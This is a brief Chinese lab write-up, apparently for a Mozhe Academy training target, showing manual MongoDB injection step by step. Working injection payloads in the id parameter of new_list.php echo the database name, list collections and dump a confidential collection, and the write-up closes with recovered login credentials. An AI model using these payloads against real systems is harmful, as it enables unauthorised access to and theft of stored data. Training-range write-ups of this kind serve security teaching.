MongoDB手工注入（墨者学院）

步骤⼀：构造回显测试

new_list.php?id=1'});return ({title:'1',content:'2

步骤二：查看数据库

new_list.php?id=1'});return({title:tojson(db),content:'2

步骤三：查看表名

new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'2

步骤四：查看表数据

new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find() [ 1 ] ),content:'2

步骤五：解密登录

 

username:mozhe

password:902621